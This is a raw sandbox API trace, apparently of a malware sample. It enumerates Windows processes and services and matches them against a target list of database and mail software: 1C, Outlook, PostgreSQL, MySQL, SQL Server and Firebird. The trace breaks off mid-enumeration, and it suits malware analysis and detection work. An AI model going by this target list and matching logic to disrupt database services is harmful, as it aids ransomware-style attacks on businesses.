[0255.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0255.515] lstrlenW (lpString="PlugPlay") returned 8 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0255.515] lstrlenW (lpString="Power") returned 5 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0255.515] lstrlenW (lpString="ProfSvc") returned 7 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0255.515] lstrlenW (lpString="RpcEptMapper") returned 12 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0255.515] lstrlenW (lpString="RpcSs") returned 5 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0255.515] lstrlenW (lpString="SamSs") returned 5 [0255.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0255.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0255.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0255.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0255.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0255.516] lstrlenW (lpString="Schedule") returned 8 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0255.516] lstrlenW (lpString="SENS") returned 4 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0255.516] lstrlenW (lpString="ShellHWDetection") returned 16 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0255.516] lstrlenW (lpString="Spooler") returned 7 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0255.516] lstrlenW (lpString="SysMain") returned 7 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0255.516] lstrlenW (lpString="Themes") returned 6 [0255.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0255.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0255.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0255.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0255.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0255.516] lstrlenW (lpString="TrkWks") returned 6 [0255.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0255.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0255.517] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0255.517] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0255.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0255.517] lstrlenW (lpString="UxSms") returned 5 [0255.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0255.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0255.517] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0255.517] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0255.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0255.517] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0255.517] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0255.519] Process32FirstW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.519] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.519] lstrlenW (lpString="System") returned 6 [0255.519] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0255.519] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0255.519] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.520] lstrlenW (lpString="smss.exe") returned 8 [0255.520] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0255.520] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.520] lstrlenW (lpString="csrss.exe") returned 9 [0255.520] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0255.520] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0255.520] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0255.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0255.520] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0255.520] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0255.520] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.521] lstrlenW (lpString="wininit.exe") returned 11 [0255.521] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0255.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0255.521] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.521] lstrlenW (lpString="csrss.exe") returned 9 [0255.521] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0255.521] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0255.521] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0255.521] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0255.521] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0255.521] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0255.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0255.521] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.522] lstrlenW (lpString="winlogon.exe") returned 12 [0255.522] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0255.522] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0255.522] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.522] lstrlenW (lpString="services.exe") returned 12 [0255.522] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0255.522] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0255.522] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.522] lstrlenW (lpString="lsass.exe") returned 9 [0255.522] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0255.522] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0255.522] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0255.523] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0255.523] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0255.523] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0255.523] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0255.523] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0255.523] lstrlenW (lpString="lsm.exe") returned 7 [0255.523] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0255.523] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0255.523] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0255.523] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0255.523] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0255.523] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0255.523] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0255.523] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.523] lstrlenW (lpString="svchost.exe") returned 11 [0255.523] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0255.523] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0255.523] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0255.524] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.524] lstrlenW (lpString="svchost.exe") returned 11 [0255.524] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0255.524] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.524] lstrlenW (lpString="svchost.exe") returned 11 [0255.524] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0255.524] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0255.525] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0255.525] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.525] lstrlenW (lpString="svchost.exe") returned 11 [0255.525] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.525] lstrlenW (lpString="svchost.exe") returned 11 [0255.525] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.525] lstrlenW (lpString="audiodg.exe") returned 11 [0255.525] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.526] lstrlenW (lpString="svchost.exe") returned 11 [0255.526] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.526] lstrlenW (lpString="svchost.exe") returned 11 [0255.526] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0255.526] lstrlenW (lpString="userinit.exe") returned 12 [0255.526] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.527] lstrlenW (lpString="dwm.exe") returned 7 [0255.527] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.527] lstrlenW (lpString="explorer.exe") returned 12 [0255.527] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.527] lstrlenW (lpString="spoolsv.exe") returned 11 [0255.527] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.527] lstrlenW (lpString="taskhost.exe") returned 12 [0255.528] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.528] lstrlenW (lpString="svchost.exe") returned 11 [0255.528] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0255.528] lstrlenW (lpString="uyuquk.exe") returned 10 [0255.528] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0255.528] lstrlenW (lpString="reader_sl.exe") returned 13 [0255.528] Process32NextW (in: hSnapshot=0x390, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0255.529] CloseHandle (hObject=0x390) returned 1 [0255.529] Sleep (dwMilliseconds=0x1f4) [0256.078] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aec88 [0256.306] EnumServicesStatusExW (in: hSCManager=0x42aec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0256.306] GetLastError () returned 0xea [0256.306] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0256.306] EnumServicesStatusExW (in: hSCManager=0x42aec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0256.306] CloseServiceHandle (hSCObject=0x42aec88) returned 1 [0256.307] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.307] lstrlenW (lpString="AudioSrv") returned 8 [0256.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0256.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0256.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0256.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0256.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0256.307] lstrlenW (lpString="BFE") returned 3 [0256.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.307] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.307] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.307] lstrlenW (lpString="CryptSvc") returned 8 [0256.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.307] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.307] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.307] lstrlenW (lpString="CscService") returned 10 [0256.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0256.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0256.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0256.308] 